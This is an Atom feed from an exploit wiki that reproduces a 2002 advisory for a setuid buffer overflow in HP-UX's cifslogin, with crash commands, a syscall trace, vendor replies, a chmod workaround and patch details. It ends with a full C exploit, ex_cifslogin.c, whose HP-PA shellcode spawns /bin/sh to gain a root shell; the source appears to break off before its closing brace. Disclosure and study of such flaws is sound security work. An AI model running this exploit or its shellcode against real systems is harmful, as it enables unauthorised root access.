<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2002-0091_Sharity%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2002-0091 Sharity緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2002-0091_Sharity%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2002-0091_Sharity%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T03:11:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2002-0091_Sharity%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=805&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO1== &lt;pre&gt;  Sharity Cifslogin Buffer Overflow (arguments) =============================================  Author:  ** Alex Hernandez &lt;alex_hernandez@ureach.com&gt; (C) 2002...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2002-0091_Sharity%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=805&amp;oldid=prev"/>
		<updated>2021-03-31T07:23:56Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO1== &amp;lt;pre&amp;gt;  Sharity Cifslogin Buffer Overflow (arguments) =============================================  Author:  ** Alex Hernandez &amp;lt;alex_hernandez@ureach.com&amp;gt; (C) 2002...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO1==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sharity Cifslogin Buffer Overflow (arguments)&lt;br /&gt;
=============================================&lt;br /&gt;
&lt;br /&gt;
Author:&lt;br /&gt;
&lt;br /&gt;
** Alex Hernandez &amp;lt;alex_hernandez@ureach.com&amp;gt; (C) 2002&lt;br /&gt;
&lt;br /&gt;
** Thanks all the people from Spain and Argentina.&lt;br /&gt;
** Greets to: Paco Spain, Gabriel M, L.martins.&lt;br /&gt;
** Thanks friends for all ur help Zillion &amp;amp; Kevin from&lt;br /&gt;
** Snosoft http://www.snosoft.com :-).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Affected system:&lt;br /&gt;
================&lt;br /&gt;
&lt;br /&gt;
HP-UX	ALL&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What is Sharity?&lt;br /&gt;
================&lt;br /&gt;
&lt;br /&gt;
Sharity is a software package that runs on Unix machines and allows you to&lt;br /&gt;
mount shares exported by Windows (NT, 95, for Workgroups, etc.), OS/2,&lt;br /&gt;
samba etc. in your filesystem. It's NOT an ftp-like client like the&lt;br /&gt;
smbclient program distributed with samba, it really mounts the shares in&lt;br /&gt;
your filesystem just as NFS does. Since the major release 2, Sharity&lt;br /&gt;
supports browsing (like the Windows &amp;quot;Network Neighborhood&amp;quot;) and has a GUI&lt;br /&gt;
for dialogs and for the configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Description:&lt;br /&gt;
============&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TESTED IN HP-UX&lt;br /&gt;
&lt;br /&gt;
This command logs the calling user in to a server. While the login&lt;br /&gt;
is established, all file accesses by the calling user are performed&lt;br /&gt;
under the permissions available at the server with the credentials&lt;br /&gt;
passed to cifslogin. &amp;lt;server&amp;gt; must be the netbios name of the server&lt;br /&gt;
where you want to log in. If the server is in share-level security&lt;br /&gt;
mode, you must use the second form and specify the share you want to&lt;br /&gt;
log in to. The server name must be resolvable through the netbios&lt;br /&gt;
name service or with DNS. If neither gives an IP address, you can&lt;br /&gt;
configure the IP address explicitly in the configuration file.&lt;br /&gt;
Valid options are:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    -h   Print short help and exit&lt;br /&gt;
    -U &amp;lt;username&amp;gt; Login on server as this user. By default, the remote&lt;br /&gt;
         username is the same as the calling user's local name.&lt;br /&gt;
    -D &amp;lt;domain&amp;gt; Send this domain name to server. If not specified,&lt;br /&gt;
         Sharity's default domain is used. Some servers accept connects&lt;br /&gt;
         only from clients from their own domain.&lt;br /&gt;
    -P &amp;lt;password&amp;gt; Password given in commandline. Using this option is&lt;br /&gt;
         STRONGLY discouraged because it will write your password to the&lt;br /&gt;
         shell's history file.&lt;br /&gt;
    -S   Read password from standard input (implies -N). This option can&lt;br /&gt;
         be used if the password is created by an external program (e.g.&lt;br /&gt;
         retrieved from a database).&lt;br /&gt;
    -N   Don't prompt for a password. If no password is given by the -P&lt;br /&gt;
         or -S options, use an empty password.&lt;br /&gt;
    -u   Allow sending password unencrypted. Sharity does not allow&lt;br /&gt;
         sending unencrypted passwords by default (for security reasons).&lt;br /&gt;
&lt;br /&gt;
If you don't specify a share name for a share-level security server,&lt;br /&gt;
cifslogin prompts the user for the share name.&lt;br /&gt;
&lt;br /&gt;
If the password is not supplied with the -S or -P option and if&lt;br /&gt;
the user is not already logged in, cifslogin prompts the user for&lt;br /&gt;
a password.&lt;br /&gt;
&lt;br /&gt;
A security vulnerability in the product allows local users to overflow one of &lt;br /&gt;
the parameters (-U, -D, -P, -S, -N, -u,) and cause the application to execute &lt;br /&gt;
arbitrary code. Since the program is setuid root, elevated privileges &lt;br /&gt;
can be gained. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In case that the attacker provide an overlong filename (for example, longer&lt;br /&gt;
than 10000 bytes) for example parameter &amp;quot;-P&amp;quot;, it would overflow a dynamic &lt;br /&gt;
allocated buffer.The attacker could modify arbitrary memory address (such as &lt;br /&gt;
saved return address, and function pointer, etc.) with some features of &lt;br /&gt;
malloc()/free() implementation by overwriting the border data structure &lt;br /&gt;
of the next dynamic memory chunk.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On HP-UX platform, attacker could obtain root group privilege;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exploit:&lt;br /&gt;
==========&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$ id&lt;br /&gt;
uid=110(alex) gid=102(informix)&lt;br /&gt;
$&lt;br /&gt;
&lt;br /&gt;
$ uname -a&lt;br /&gt;
HP-UX Lab02 B.11.11 U 9000/800 1613339393 unlimited-user license&lt;br /&gt;
$&lt;br /&gt;
&lt;br /&gt;
$ ls -la /opt/cifsclient/bin/cifslogin&lt;br /&gt;
-rwsr-xr-x   1 root       users        53248 Mar 28  2001 /opt/cifsclient/bin/cifslogin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -P `perl -e '{print &amp;quot;A&amp;quot;x10000}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MAPPED WITH TUSC:&lt;br /&gt;
&lt;br /&gt;
Brief description about the command:&lt;br /&gt;
&lt;br /&gt;
tusc-7.3&lt;br /&gt;
&lt;br /&gt;
Traces the system calls a process invokes in HP-UX 11. It displays arguments in a symbolic way, shows the&lt;br /&gt;
first bytes of read and write buffers and shows signal information when available. Tusc can attach to live&lt;br /&gt;
processes by providing PIDs as arguments. This release also provides a truss command compatible with the&lt;br /&gt;
equivalent Solaris utility. Note that source code is unavailable for tusc and that the shipped tusc binary&lt;br /&gt;
ONLY works on HP-UX 11.X. Please download the equivalent package for HP-UX 10.X - called trace -&lt;br /&gt;
if you don't have HP-UX 11.X.&lt;br /&gt;
&lt;br /&gt;
Download for HP-UX:&lt;br /&gt;
&lt;br /&gt;
http://hpux.cs.utah.edu/hppd/hpux/Sysadmin/tusc-7.3/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Proof of Concept:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$ ./tusc /opt/cifsclient/bin/cifslogin -P `perl -e '{print &amp;quot;A&amp;quot;x10000}'`&lt;br /&gt;
&lt;br /&gt;
execve(&amp;quot;/opt/cifsclient/bin/cifslogin&amp;quot;, 0x7f7f2b68, 0x7f7f2b78) ........................................ = 0 [32-bit]&lt;br /&gt;
utssys(0x7f7f4c50, 0, 0) ............................................................................... = 0&lt;br /&gt;
open(&amp;quot;/usr/lib/dld.sl&amp;quot;, O_RDONLY, 025564) .............................................................. = 3&lt;br /&gt;
read(3, &amp;quot;02\v010e0512@ \0\0\0\0\0\0\0\0\0&amp;quot;.., 128) ..................................................... = 128&lt;br /&gt;
lseek(3, 128, SEEK_SET) ................................................................................ = 128&lt;br /&gt;
read(3, &amp;quot;10\0\004\0\0\0( \002\0ac\0\0\0\0&amp;quot;.., 48) ...................................................... = 48&lt;br /&gt;
mmap(NULL, 131244, PROT_READ|PROT_EXEC, MAP_SHARED|MAP_SHLIB, 3, 0x9000) ............................... = 0xc0010000&lt;br /&gt;
mmap(NULL, 14696, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_SHLIB, 3, 0x2a000) ................... = 0x7b050000&lt;br /&gt;
close(3) ............................................................................................... = 0&lt;br /&gt;
getuid() ............................................................................................... = 110 (110)&lt;br /&gt;
getuid() ............................................................................................... = 110 (110)&lt;br /&gt;
getgid() ............................................................................................... = 102 (102)&lt;br /&gt;
getgid() ............................................................................................... = 102 (102)&lt;br /&gt;
mmap(NULL, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, NULL) .................. = 0x7b04e000&lt;br /&gt;
sysconf(_SC_CPU_VERSION) ............................................................................... = 532&lt;br /&gt;
open(&amp;quot;/opt/graphics/OpenGL/lib/libogltls.sl&amp;quot;, O_RDONLY, 0) ............................................. ERR#2 ENOENT&lt;br /&gt;
open(&amp;quot;/usr/lib/libc.2&amp;quot;, O_RDONLY, 0) ................................................................... = 3&lt;br /&gt;
fstat(3, 0x7f7f54c8) ................................................................................... = 0&lt;br /&gt;
read(3, &amp;quot;0214010e0512@ \0\0\0\0\0\0\0\0\0&amp;quot;.., 128) ..................................................... = 128&lt;br /&gt;
lseek(3, 128, SEEK_SET) ................................................................................ = 128&lt;br /&gt;
read(3, &amp;quot;10\0\004\0\0\0( \014( , \0\010\0&amp;quot;.., 48) ...................................................... = 48&lt;br /&gt;
read(3, &amp;quot;80\0\0\v\0\0\004\0\0\0\0&amp;quot;, 12) ................................................................ = 12&lt;br /&gt;
lseek(3, 446464, SEEK_SET) ............................................................................. = 446464&lt;br /&gt;
read(3, &amp;quot;058cy 10\0\0\a90\0\0M e8\0\0\002&amp;quot;.., 112) ..................................................... = 112&lt;br /&gt;
mmap(NULL, 1323008, PROT_READ|PROT_EXEC, MAP_SHARED|MAP_SHLIB, 3, 0x6d000) ............................. = 0xc0100000&lt;br /&gt;
mmap(NULL, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_SHLIB, -1, NULL) ....... = 0x7b043000&lt;br /&gt;
mmap(0x7b03b000, 32768, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_SHLIB, 3, 0x1b0000) .. = 0x7b03b000&lt;br /&gt;
mmap(NULL, 16384, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, NULL) ................. = 0x7b037000&lt;br /&gt;
close(3) ............................................................................................... = 0&lt;br /&gt;
open(&amp;quot;/usr/lib/libdld.2&amp;quot;, O_RDONLY, 0) ................................................................. = 3&lt;br /&gt;
fstat(3, 0x7f7f55c8) ................................................................................... = 0&lt;br /&gt;
read(3, &amp;quot;02\v010e0512@ \0\0\0\0\0\0\0\0\0&amp;quot;.., 128) ..................................................... = 128&lt;br /&gt;
lseek(3, 128, SEEK_SET) ................................................................................ = 128&lt;br /&gt;
read(3, &amp;quot;10\0\004\0\0\0( \0\0$ e4\0\010\0&amp;quot;.., 48) ...................................................... = 48&lt;br /&gt;
read(3, &amp;quot;80\0\0\v\0\0\004\0\0\0\0&amp;quot;, 12) ................................................................ = 12&lt;br /&gt;
lseek(3, 8192, SEEK_SET) ............................................................................... = 8192&lt;br /&gt;
read(3, &amp;quot;058cy 10\0\0\0\f\0\001ac\0\0\001&amp;quot;.., 112) ..................................................... = 112&lt;br /&gt;
mmap(NULL, 12288, PROT_READ|PROT_EXEC, MAP_SHARED|MAP_SHLIB, 3, 0x2000) ................................ = 0xc0004000&lt;br /&gt;
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_SHLIB, 3, 0x5000) ..................... = 0x7b036000&lt;br /&gt;
close(3) ............................................................................................... = 0&lt;br /&gt;
open(&amp;quot;/usr/lib/libc.2&amp;quot;, O_RDONLY, 0) ................................................................... = 3&lt;br /&gt;
fstat(3, 0x7f7f56c8) ................................................................................... = 0&lt;br /&gt;
read(3, &amp;quot;0214010e0512@ \0\0\0\0\0\0\0\0\0&amp;quot;.., 128) ..................................................... = 128&lt;br /&gt;
lseek(3, 128, SEEK_SET) ................................................................................ = 128&lt;br /&gt;
read(3, &amp;quot;10\0\004\0\0\0( \014( , \0\010\0&amp;quot;.., 48) ...................................................... = 48&lt;br /&gt;
read(3, &amp;quot;80\0\0\v\0\0\004\0\0\0\0&amp;quot;, 12) ................................................................ = 12&lt;br /&gt;
lseek(3, 446464, SEEK_SET) ............................................................................. = 446464&lt;br /&gt;
read(3, &amp;quot;058cy 10\0\0\a90\0\0M e8\0\0\002&amp;quot;.., 112) ..................................................... = 112&lt;br /&gt;
mmap(NULL, 1323008, PROT_READ|PROT_EXEC, MAP_SHARED|MAP_SHLIB, 3, 0x6d000) ............................. ERR#12 ENOMEM&lt;br /&gt;
close(3) ............................................................................................... = 0&lt;br /&gt;
open(&amp;quot;/usr/lib/libnsl.1&amp;quot;, O_RDONLY, 0) ................................................................. = 3&lt;br /&gt;
fstat(3, 0x7f7f54c8) ................................................................................... = 0&lt;br /&gt;
read(3, &amp;quot;0210010e0512@ \0\0\0\0\0\0\0\0\0&amp;quot;.., 128) ..................................................... = 128&lt;br /&gt;
lseek(3, 128, SEEK_SET) ................................................................................ = 128&lt;br /&gt;
read(3, &amp;quot;10\0\004\0\0\0( \0\b9384\0\010\0&amp;quot;.., 48) ...................................................... = 48&lt;br /&gt;
read(3, &amp;quot;80\0\0\v\0\0\004\0\0\0\0&amp;quot;, 12) ................................................................ = 12&lt;br /&gt;
lseek(3, 131072, SEEK_SET) ............................................................................. = 131072&lt;br /&gt;
read(3, &amp;quot;058cy 10\0\004  \0\0; L \0\0\002&amp;quot;.., 112) ..................................................... = 112&lt;br /&gt;
mmap(NULL, 565248, PROT_READ|PROT_EXEC, MAP_SHARED|MAP_SHLIB, 3, 0x20000) .............................. = 0xc0280000&lt;br /&gt;
mmap(NULL, 24576, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_SHLIB, -1, NULL) ....... = 0x7b030000&lt;br /&gt;
mmap(0x7b029000, 28672, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_SHLIB, 3, 0xaa000) ... = 0x7b029000&lt;br /&gt;
mmap(NULL, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, NULL) .................. = 0x7b027000&lt;br /&gt;
close(3) ............................................................................................... = 0&lt;br /&gt;
stat(&amp;quot;/usr/lib/libxti.2&amp;quot;, 0x7f7f5500) .................................................................. = 0&lt;br /&gt;
mmap(NULL, 16384, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, NULL) ................. = 0x7b023000&lt;br /&gt;
open(&amp;quot;/usr/lib/libxti.2&amp;quot;, O_RDONLY, 0) ................................................................. = 3&lt;br /&gt;
fstat(3, 0x7f7f55c8) ................................................................................... = 0&lt;br /&gt;
read(3, &amp;quot;0210010e0512@ \0\0\0\0\0\0\0\0\0&amp;quot;.., 128) ..................................................... = 128&lt;br /&gt;
lseek(3, 128, SEEK_SET) ................................................................................ = 128&lt;br /&gt;
read(3, &amp;quot;10\0\004\0\0\0( \001~ l \0\010\0&amp;quot;.., 48) ...................................................... = 48&lt;br /&gt;
read(3, &amp;quot;80\0\0\v\0\0\004\0\0\0\0&amp;quot;, 12) ................................................................ = 12&lt;br /&gt;
lseek(3, 28672, SEEK_SET) .............................................................................. = 28672&lt;br /&gt;
read(3, &amp;quot;058cy 10\0\0\0d8\0\0\ac0\0\0\001&amp;quot;.., 112) ..................................................... = 112&lt;br /&gt;
mmap(NULL, 98304, PROT_READ|PROT_EXEC, MAP_SHARED|MAP_SHLIB, 3, 0x7000) ................................ = 0xc0060000&lt;br /&gt;
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_SHLIB, -1, NULL) ........ = 0x7b022000&lt;br /&gt;
mmap(0x7b020000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_SHLIB, 3, 0x1f000) .... = 0x7b020000&lt;br /&gt;
close(3) ............................................................................................... = 0&lt;br /&gt;
mmap(NULL, 80, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, NULL) .................... = 0x7b01f000&lt;br /&gt;
sigsetreturn(0x7b038fce, 0x6211988, 1392) .............................................................. = 0&lt;br /&gt;
alarm(0) ............................................................................................... = 0&lt;br /&gt;
getuid() ............................................................................................... = 110 (110)&lt;br /&gt;
getuid() ............................................................................................... = 110 (110)&lt;br /&gt;
&lt;br /&gt;
  Received signal 11, SIGSEGV, in user mode, [SIG_DFL], partial siginfo&lt;br /&gt;
    Siginfo: si_code: I_NONEXIST, faulting address: 0x4141414d, si_errno: 0&lt;br /&gt;
    PC: 0xc01ef413, instruction: 0x443f0018&lt;br /&gt;
exit(11) [implicit] ....................................................................................&lt;br /&gt;
WIFSIGNALED(SIGSEGV)&lt;br /&gt;
&lt;br /&gt;
$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Others Parameters Vulnerables:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -P `perl -e '{print &amp;quot;A&amp;quot;x2072}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -s `perl -e '{print &amp;quot;A&amp;quot;x2072}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -f `perl -e '{print &amp;quot;A&amp;quot;x2072}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -u `perl -e '{print &amp;quot;A&amp;quot;x2072}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -S `perl -e '{print &amp;quot;A&amp;quot;x2072}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
$ /opt/cifsclient/bin/cifslogin -N `perl -e '{print &amp;quot;A&amp;quot;x2072}'`&lt;br /&gt;
Memory fault&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Workaround:&lt;br /&gt;
===================&lt;br /&gt;
&lt;br /&gt;
Temporarily remove the suid root or sgid root attribute of cifslogin:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# chmod a-s /opt/cifsclient/bin/cifslogin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vendor Status:&lt;br /&gt;
==============&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
Contact information:&lt;br /&gt;
e-mail: sharity@obdev.at&lt;br /&gt;
www:    http://www.obdev.at/&lt;br /&gt;
Author: Christian Starkjohann &amp;lt;cs@obdev.at&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
Date   Sat, 15 June 2002 8:54:01am  &lt;br /&gt;
From   Sharity Support &amp;lt;sharity-support@obdev.at&amp;gt;  Add to address book  &lt;br /&gt;
To   &amp;lt;alex_hernandez@ureach.com&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The /opt/cifsclient/bin/cifslogin program is NOT part of Sharity. This &lt;br /&gt;
is HP's CIFS client. HP has based this client on an old version of &lt;br /&gt;
Sharity which they have licensed.&lt;br /&gt;
&lt;br /&gt;
I will forward your report to the people at HP who are responsible for &lt;br /&gt;
this software. I'll give credits to you, of course.&lt;br /&gt;
&lt;br /&gt;
Thanks for reporting this problem!&lt;br /&gt;
&lt;br /&gt;
Regards, Christian.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
Sharity Support, Objective Development.&lt;br /&gt;
sharity-support@obdev.at&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------&lt;br /&gt;
security-alert@hp.com&lt;br /&gt;
secure@hpchs.cup.hp.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
Date   Mon, 17 June 2002 2:40:18pm  &lt;br /&gt;
From   HP S/W Security Team &amp;lt;secure@hpchs.cup.hp.com&amp;gt;  Add to address book  &lt;br /&gt;
To   alex_hernandez@ureach.com &lt;br /&gt;
&lt;br /&gt;
Hello Mr: Hernandez,&lt;br /&gt;
&lt;br /&gt;
Please read it, retrieve the patch, and apply&lt;br /&gt;
it to your Lab02 11.11 installation.  The patch can&lt;br /&gt;
be retrieved *without* a support contract by registering&lt;br /&gt;
with itrc.hp.com.  (Registration is for simplified&lt;br /&gt;
mailing list maintenance on our part.  Without that -&lt;br /&gt;
no patches can be retrieved.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Yours Truly,&lt;br /&gt;
WTEC&lt;br /&gt;
HP S/W Security Team.&lt;br /&gt;
--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FIXES:&lt;br /&gt;
======&lt;br /&gt;
&lt;br /&gt;
Recommended solution&lt;br /&gt;
&lt;br /&gt;
*REVISED01*&lt;br /&gt;
&lt;br /&gt;
 --&amp;gt;&amp;gt;&amp;gt;Upgrade to A.01.06, and then install patch PHNE_24164 for&lt;br /&gt;
 --&amp;gt;&amp;gt;&amp;gt;HP-UX release 11.00 or 11.11.&lt;br /&gt;
 --&amp;gt;&amp;gt;&amp;gt;When available, A.01.07 will include this fix.&lt;br /&gt;
 --&amp;gt;&amp;gt;&amp;gt;Download this application software from&lt;br /&gt;
 --&amp;gt;&amp;gt;&amp;gt;www.software.hp.com,  under the Network and System&lt;br /&gt;
 --&amp;gt;&amp;gt;&amp;gt;Management area.  Download the patch from itrc.hp.com.&lt;br /&gt;
&lt;br /&gt;
To subscribe to automatically receive future NEW HP Security&lt;br /&gt;
Bulletins from the HP IT Resource Center via electronic mail,&lt;br /&gt;
do the following:&lt;br /&gt;
&lt;br /&gt;
Use your browser to get to the HP IT Resource Center page&lt;br /&gt;
at:&lt;br /&gt;
&lt;br /&gt;
http://itrc.hp.com&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
For information on the Security Patch Check tool, see:&lt;br /&gt;
&lt;br /&gt;
http://www.software.hp.com/cgi-bin/swdepot_parser.cgi/cgi/displayProductInfo&lt;br /&gt;
.pl?productNumber=B6834AA&amp;quot;&lt;br /&gt;
&lt;br /&gt;
This vulnerabilty can be fix with SAMBA Bugs HP-UX:&lt;br /&gt;
&lt;br /&gt;
**REVISED01**HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #0155, 27 June '01&lt;br /&gt;
LAST REVISED: 15 August '01 &lt;br /&gt;
 -----------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
The information in the following Security Bulletin should be acted upon&lt;br /&gt;
as soon as possible.  Hewlett-Packard Company will not be liable for any&lt;br /&gt;
consequences to any customer resulting from customer's failure to fully&lt;br /&gt;
implement instructions in this Security Bulletin as soon as possible.&lt;br /&gt;
&lt;br /&gt;
 -----------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
PROBLEM:  CIFS/9000 Server (SAMBA) allows malicious local users&lt;br /&gt;
          to overwrite arbitrary files and devices.&lt;br /&gt;
&lt;br /&gt;
PLATFORM: HP 9000 servers running CIFS/9000 Server version A.01.06,&lt;br /&gt;
          or lower.&lt;br /&gt;
&lt;br /&gt;
DAMAGE:   Arbitrary files and devices can be overwritten.&lt;br /&gt;
&lt;br /&gt;
*REVISED01*&lt;br /&gt;
SOLUTION: Upgrade to A.01.06, and then install patch PHNE_24164.&lt;br /&gt;
    ---&amp;gt;&amp;gt;&amp;gt;When available, A.01.07 will include this fix. &lt;br /&gt;
&lt;br /&gt;
*REVISED01*&lt;br /&gt;
AVAILABILITY:  The patch is available now.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Alex Hernandez &amp;lt;alex_hernandez@ureach.com&amp;gt; (C) 2002&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==ex_cifslogin.c==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
Source: http://www.securityfocus.com/bid/5088/info&lt;br /&gt;
&lt;br /&gt;
A vulnerability has been reported in the /opt/cifsclient/bin/cifslogin utility distributed with CIFS/9000. The utility is prone to several buffer overflow conditions and may lead to root compromise.&lt;br /&gt;
&lt;br /&gt;
The vulnerability occurs due to the lack of bounds checking when accepting user input for various commandline options. Specifically, the utility fails to check for excessively long arguments to the following commandline options: '-U', '-D', '-P', '-S', '-N', and '-u'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Name    : ex_cifslogin.c&lt;br /&gt;
Compile : cc ex_cifslogin -o cifslogin&lt;br /&gt;
Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20 to get root shell&lt;br /&gt;
Author  : watercloud &amp;lt; safesuite@263.net, watercloud@xfocus.net &amp;gt;&lt;br /&gt;
Date    : 2002-11-6&lt;br /&gt;
Announce: Use as your own risk&lt;br /&gt;
Thanks  : bear &amp;lt; bearundertree@163.com &amp;gt;&lt;br /&gt;
Tested  : HPUX B11.11&lt;br /&gt;
*/&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define T_LEN  2304&lt;br /&gt;
#define BUFF_LEN 2176&lt;br /&gt;
#define NOP 0x0b390280&lt;br /&gt;
&lt;br /&gt;
char shellcode[]=&lt;br /&gt;
        &amp;quot;\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02&amp;quot;&lt;br /&gt;
        &amp;quot;\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03&amp;quot;&lt;br /&gt;
        &amp;quot;\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA&amp;quot;;&lt;br /&gt;
long addr;&lt;br /&gt;
char buffer[T_LEN];&lt;br /&gt;
&lt;br /&gt;
main()&lt;br /&gt;
{&lt;br /&gt;
        int addr_off =800 ;&lt;br /&gt;
&lt;br /&gt;
        int  n=BUFF_LEN/4,i=0;&lt;br /&gt;
        long * ap = (long *) &amp;amp;buffer[BUFF_LEN];&lt;br /&gt;
        char * sp = &amp;amp;buffer[BUFF_LEN-strlen(shellcode)];&lt;br /&gt;
        long * np = (long *) buffer;&lt;br /&gt;
&lt;br /&gt;
        addr = ((long) &amp;amp;addr_off + T_LEN ) &amp;amp; 0xffffff40 +0x40 ;&lt;br /&gt;
&lt;br /&gt;
        for(i=0;i&amp;lt;n;np[i++]=NOP);&lt;br /&gt;
        memcpy(sp,shellcode,strlen(shellcode));&lt;br /&gt;
        for(i=0;i&amp;lt;(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off);&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n&amp;quot;,(long)&amp;amp;addr_off &amp;amp; 0xffffff40,addr,addr_off);&lt;br /&gt;
        printf(&amp;quot;Addr =0x%x NOP_LEN=%i\n&amp;quot;,addr+addr_off,BUFF_LEN-strlen(shellcode));&lt;br /&gt;
        printf(&amp;quot;BUFFER_LEN=%i\n&amp;quot;,strlen(buffer));&lt;br /&gt;
&lt;br /&gt;
        execl(&amp;quot;/opt/cifsclient/bin/cifslogin&amp;quot;,&amp;quot;cifslogin&amp;quot;,&amp;quot;123&amp;quot;,buffer,NULL);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
